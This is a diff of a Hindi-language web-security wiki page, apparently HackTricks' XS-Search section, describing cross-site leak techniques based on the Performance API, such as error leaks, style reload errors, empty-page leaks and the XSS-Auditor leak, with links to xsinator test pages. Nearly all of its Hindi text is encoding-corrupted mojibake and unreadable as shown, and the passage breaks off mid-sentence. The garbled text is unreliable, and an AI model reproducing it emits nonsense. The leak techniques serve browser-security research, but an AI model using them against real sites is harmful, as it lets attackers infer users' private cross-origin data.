рдЬрдм рд╕рд░реНрд╡рд░ рдЕрдкрдиреЗ рдЙрддреНрддрд░реЛрдВ рдореЗрдВ `Timing-Allow-Origin: *` рд╣реЗрдбрд░ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рдбреЗрдЯрд╛ рдЬреИрд╕реЗ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдЖрдХрд╛рд░ рдФрд░ рдбреЛрдореЗрди рд▓реБрдХрдЕрдк рд╕рдордп рдЙрдкрд▓рдмреНрдз рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред +[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдореЗрдЯреНрд░рд┐рдХреНрд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API) рджреНрд╡рд╛рд░рд╛ рдФрд░ рд╕рдореГрджреНрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред Resource Timing API рдиреЗрдЯрд╡рд░реНрдХ рдЕрдиреБрд░реЛрдз рд╕рдордп рдХреА рд╡рд┐рд╕реНрддреГрдд рдирд┐рдЧрд░рд╛рдиреА рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдЕрд╡рдзрд┐ред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдЬрдм рд╕рд░реНрд╡рд░ рдЕрдкрдиреЗ рдЙрддреНрддрд░реЛрдВ рдореЗрдВ `Timing-Allow-Origin: *` рд╣реЗрдбрд░ рд╢рд╛рдорд┐рд▓ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рдбреЗрдЯрд╛ рдЬреИрд╕реЗ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдЖрдХрд╛рд░ рдФрд░ рдбреЛрдореЗрди рд▓реБрдХрдЕрдк рд╕рдордп рдЙрдкрд▓рдмреНрдз рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред -рдЗрд╕ рдбреЗрдЯрд╛ рдХреА рд╕рдореГрджреНрдзрддрд╛ рдХреЛ [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) рдпрд╛ [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) рдЬреИрд╕реА рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдкреНрд░рджрд░реНрд╢рди рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдПрдХ рд╡реНрдпрд╛рдкрдХ рджреГрд╢реНрдп рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, API [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдХреЗ рдмреАрдЪ рдХреЗ рдЕрдВрддрд░ рдХреА рдЧрдгрдирд╛ рдХрд░рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдорд╛рдкрдиреЗ рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ Chrome рдЬреИрд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдХреБрдЫ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рд▓рд┐рдП, `performance.now()` рдХреА рд╕рдЯреАрдХрддрд╛ рдорд┐рд▓реАрд╕реЗрдХрдВрдб рддрдХ рд╕реАрдорд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рд╕рдордп рдорд╛рдк рдХреА рдмрд╛рд░реАрдХреА рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИред +рдЗрд╕ рдбреЗрдЯрд╛ рдХреА рд╕рдореГрджреНрдзрддрд╛ рдХреЛ [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) рдпрд╛ [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName) рдЬреИрд╕реА рд╡рд┐рдзрд┐рдпреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдкреНрд░рджрд░реНрд╢рди рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдПрдХ рд╡реНрдпрд╛рдкрдХ рджреГрд╢реНрдп рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, API рдирд┐рд╖реНрдкрд╛рджрди рд╕рдордп рдХреЛ рдорд╛рдкрдиреЗ рдХреА рд╕реБрд╡рд┐рдзрд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬреЛ [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдХреЗ рдмреАрдЪ рдХрд╛ рдЕрдВрддрд░ рдирд┐рдХрд╛рд▓рдХрд░ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ Chrome рдЬреИрд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдХреБрдЫ рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреЗ рд▓рд┐рдП, `performance.now()` рдХреА рд╕рдЯреАрдХрддрд╛ рдорд┐рд▓реАрд╕реЗрдХрдВрдб рддрдХ рд╕реАрдорд┐рдд рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЬреЛ рд╕рдордп рдорд╛рдк рдХреА рдмрд╛рд░реАрдХреА рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИред -рд╕рдордп рдорд╛рдк рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкреНрд░рджрд░реНрд╢рди API рдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Chrome рдореЗрдВ `performance` рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдкреГрд╖реНрдареЛрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдпрд╛ рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ `X-Frame-Options` рдХреЗ рд▓рд╛рдЧреВ рд╣реЛрдиреЗ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреА рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдпрджрд┐ рдХрд┐рд╕реА рдкреГрд╖реНрда рдХреЛ `X-Frame-Options` рдХреЗ рдХрд╛рд░рдг рдПрдХ рдлреНрд░реЗрдо рдореЗрдВ рд░реЗрдВрдбрд░ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ `performance` рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рджрд░реНрдЬ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬреЛ рдкреГрд╖реНрда рдХреА рдлреНрд░реЗрдорд┐рдВрдЧ рдиреАрддрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рд╕реВрдХреНрд╖реНрдо рд╕рдВрдХреЗрдд рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред +рд╕рдордп рдорд╛рдк рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдкреНрд░рджрд░реНрд╢рди API рдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдХреЗ рд▓рд┐рдП рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Chrome рдореЗрдВ `performance` рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рдкреГрд╖реНрдареЛрдВ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдпрд╛ рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ `X-Frame-Options` рдХреЗ рд▓рд╛рдЧреВ рд╣реЛрдиреЗ рдХрд╛ рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреА рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, рдпрджрд┐ рдХрд┐рд╕реА рдкреГрд╖реНрда рдХреЛ `X-Frame-Options` рдХреЗ рдХрд╛рд░рдг рдПрдХ рдлреНрд░реЗрдо рдореЗрдВ рд░реЗрдВрдбрд░ рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ `performance` рдСрдмреНрдЬреЗрдХреНрдЯ рдореЗрдВ рд░рд┐рдХреЙрд░реНрдб рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬреЛ рдкреГрд╖реНрда рдХреА рдлреНрд░реЗрдорд┐рдВрдЧ рдиреАрддрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рд╕реВрдХреНрд╖реНрдо рд╕рдВрдХреЗрдд рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред ### Error Leak @@ -290,7 +290,7 @@ xs-search/connection-pool-example.md - **Summary:** рдПрдХ рдЕрдиреБрд░реЛрдз рдЬреЛ рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрддрд╛ рд╣реИ, рд╕рдВрд╕рд╛рдзрди рд╕рдордп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдирд╣реАрдВ рдмрдирд╛рдПрдЧрд╛ред - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak) -рдпрд╣ **HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реНрдерд┐рддрд┐ рдХреЛрдб** рдХреЗ рдмреАрдЪ **рдЕрдВрддрд░** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╡ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЬреЛ рдЕрдиреБрд░реЛрдз **рддреНрд░реБрдЯрд┐** рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрддреЗ рд╣реИрдВ, рд╡реЗ **рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐** рдирд╣реАрдВ рдмрдирд╛рддреЗ рд╣реИрдВред +рдпрд╣ **HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╕реНрдерд┐рддрд┐ рдХреЛрдб** рдХреЗ рдмреАрдЪ **рднреЗрдж** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╡ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдЬреЛ рдЕрдиреБрд░реЛрдз **рддреНрд░реБрдЯрд┐** рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрддреЗ рд╣реИрдВ рд╡реЗ **рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐** рдирд╣реАрдВ рдмрдирд╛рддреЗ рд╣реИрдВред ### Style Reload Error @@ -300,7 +300,7 @@ xs-search/connection-pool-example.md - **Summary:** рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдмрдЧ рдХреЗ рдХрд╛рд░рдг, рддреНрд░реБрдЯрд┐рдпреЛрдВ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдз рджреЛ рдмрд╛рд░ рд▓реЛрдб рд╣реЛрддреЗ рд╣реИрдВред - **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak) -рдкрд┐рдЫрд▓реА рддрдХрдиреАрдХ рдореЗрдВ рдпрд╣ рднреА рдкрд╣рдЪрд╛рдирд╛ рдЧрдпрд╛ рдХрд┐ рджреЛ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдмрдЧ GC рдХреЗ рдХрд╛рд░рдг **рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рджреЛ рдмрд╛рд░ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рд╡реЗ рд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ**ред рдЗрд╕рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдкреНрд░рджрд░реНрд╢рди API рдореЗрдВ рдХрдИ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдореЗрдВ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЗрд╕реЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +рдкрд┐рдЫрд▓реА рддрдХрдиреАрдХ рдореЗрдВ рдпрд╣ рднреА рдкрд╣рдЪрд╛рдирд╛ рдЧрдпрд╛ рдХрд┐ рджреЛ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдмрдЧ GC рдХреЗ рдХрд╛рд░рдг **рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рджреЛ рдмрд╛рд░ рд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рд╡реЗ рд▓реЛрдб рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ**ред рдпрд╣ рдкреНрд░рджрд░реНрд╢рди API рдореЗрдВ рдХрдИ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпреЛрдВ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдЧрд╛ рдФрд░ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдЗрд╕реЗ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ### Request Merging Error @@ -320,17 +320,17 @@ xs-search/connection-pool-example.md - **Summary:** рдЦрд╛рд▓реА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ рд╕рдВрд╕рд╛рдзрди рд╕рдордп рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рдирд╣реАрдВ рдмрдирд╛рддреА рд╣реИрдВред - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak) -рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдпрд╣ рдкрд╣рдЪрд╛рди рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдПрдХ рдЦрд╛рд▓реА HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдореЗрдВ рд╣реБрдЖ рдХреНрдпреЛрдВрдХрд┐ **рдЦрд╛рд▓реА рдкреГрд╖реНрда рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдирд╣реАрдВ рдмрдирд╛рддреЗ рд╣реИрдВ**ред +рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдпрд╣ рдкрд╣рдЪрд╛рди рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХ рдЕрдиреБрд░реЛрдз рдХрд╛ рдкрд░рд┐рдгрд╛рдо рдЦрд╛рд▓реА HTTP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдореЗрдВ рд╣реБрдЖ рдХреНрдпреЛрдВрдХрд┐ **рдЦрд╛рд▓реА рдкреГрд╖реНрда рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рдкреНрд░рджрд░реНрд╢рди рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдирд╣реАрдВ рдмрдирд╛рддреЗ рд╣реИрдВ**ред ### **XSS-Auditor Leak** - **Inclusion Methods**: Frames - **Detectable Difference**: Page Content - **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2) -- **Summary:** рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╢реНрд╡рд╛рд╕рди рдореЗрдВ XSS рдСрдбрд┐рдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рд╣рдорд▓рд╛рд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдмрджрд▓рд╛рд╡реЛрдВ рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд░рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡реЗрдмрдкреГрд╖реНрда рддрддреНрд╡реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдСрдбрд┐рдЯрд░ рдХреЗ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рддрдВрддреНрд░ рдХреЛ рд╕рдХреНрд░рд┐рдп рдХрд░рддреЗ рд╣реИрдВред +- **Summary:** рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╢реНрд╡рд╛рд╕рди рдореЗрдВ XSS рдСрдбрд┐рдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рд╣рдорд▓рд╛рд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдмрджрд▓рд╛рд╡реЛрдВ рдХрд╛ рдЕрд╡рд▓реЛрдХрди рдХрд░рдХреЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╡реЗрдмрдкреГрд╖реНрда рддрддреНрд╡реЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдСрдбрд┐рдЯрд░ рдХреЗ рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рддрдВрддреНрд░ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреЗ рд╣реИрдВред - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak) -рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╢реНрд╡рд╛рд╕рди (SA) рдореЗрдВ, XSS рдСрдбрд┐рдЯрд░, рдЬреЛ рдореВрд▓ рд░реВрдк рд╕реЗ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ (XSS) рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдХреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдкрд░реАрдд рд░реВрдк рд╕реЗ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╡рд┐рд╢реЗрд╖рддрд╛ Google Chrome (GC) рд╕реЗ рд╣рдЯрд╛ рджреА рдЧрдИ рдереА, рдпрд╣ SA рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рд╣реИред 2013 рдореЗрдВ, рдмреНрд░реМрди рдФрд░ рд╣рд╛рдЗрдбрд░рд┐рдЪ рдиреЗ рджрд┐рдЦрд╛рдпрд╛ рдХрд┐ XSS рдСрдбрд┐рдЯрд░ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рд╡реИрдз рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЭреВрдареЗ рд╕рдХрд╛рд░рд╛рддреНрдордХ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рд╢реЛрдзрдХрд░реНрддрд╛рдУрдВ рдиреЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдФрд░ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрдареЛрдВ рдкрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рд╛рдордЧреНрд░реА рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рддрдХрдиреАрдХреЛрдВ рдХрд╛ рд╡рд┐рдХрд╛рд╕ рдХрд┐рдпрд╛, рдЬрд┐рд╕реЗ XS-Leaks рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдкрд╣рд▓реЗ рдЯреЗрд░рд╛рдбрд╛ рджреНрд╡рд╛рд░рд╛ рд░рд┐рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рд╣реЗрдпрд╕ рджреНрд╡рд╛рд░рд╛ рдПрдХ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпреЗ рддрдХрдиреАрдХреЗрдВ GC рдореЗрдВ XSS рдСрдбрд┐рдЯрд░ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢рд┐рд╖реНрдЯ рдереАрдВ, рдпрд╣ рдкрд╛рдпрд╛ рдЧрдпрд╛ рдХрд┐ SA рдореЗрдВ, XSS рдСрдбрд┐рдЯрд░ рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рдкреГрд╖реНрда рдкреНрд░рджрд░реНрд╢рди API рдореЗрдВ рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐рдпрд╛рдБ рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рд╣реЛрдиреЗ рдХрд╛ рдПрдХ рддрд░реАрдХрд╛ рдкреНрд░рдХрдЯ рд╣реЛрддрд╛ рд╣реИред +рд╕реБрд░рдХреНрд╖рд╛ рдЖрд╢реНрд╡рд╛рд╕рди (SA) рдореЗрдВ, XSS рдСрдбрд┐рдЯрд░, рдЬреЛ рдореВрд▓ рд░реВрдк рд╕реЗ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯрд┐рдВрдЧ (XSS) рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдХреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдкрд░реАрдд рд░реВрдк рд╕реЗ рд╢реЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рд╡рд┐рд╢реЗрд╖рддрд╛ Google Chrome (GC) рд╕реЗ рд╣рдЯрд╛ рджреА рдЧрдИ рдереА, рдпрд╣ SA рдореЗрдВ рдЕрднреА рднреА рдореМрдЬреВрдж рд╣реИред 2013 рдореЗрдВ, рдмреНрд░реМрди рдФрд░ рд╣рд╛рдЗрдбрд░рд┐рдЪ рдиреЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдХрд┐ XSS рдСрдбрд┐рдЯрд░ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рд╡реИрдз рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЭреВрдареЗ рд╕рдХрд╛рд░рд╛рддреНрдордХ рд╣реЛрддреЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рд╢реЛрдзрдХрд░реНрддрд╛рдУрдВ рдиреЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдиреЗ рдФрд░ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдкреГрд╖реНрдареЛрдВ рдкрд░ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рд╛рдордЧреНрд░реА рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рддрдХрдиреАрдХреЛрдВ рдХрд╛ рд╡рд┐рдХрд╛рд╕ рдХрд┐рдпрд╛, рдЬрд┐рд╕реЗ XS-Leaks рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдкрд╣рд▓реЗ рдЯреЗрд░рд╛рдбрд╛ рджреНрд╡рд╛рд░рд╛ рд░рд┐рдкреЛрд░реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рд╣реЗрдпрд╕ рджреНрд╡рд╛рд░рд╛ рдПрдХ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╡рд┐рд╕реНрддреГрдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпреЗ рддрдХрдиреАрдХреЗрдВ GC рдореЗрдВ XSS рдСрдбрд┐рдЯрд░ рдХреЗ 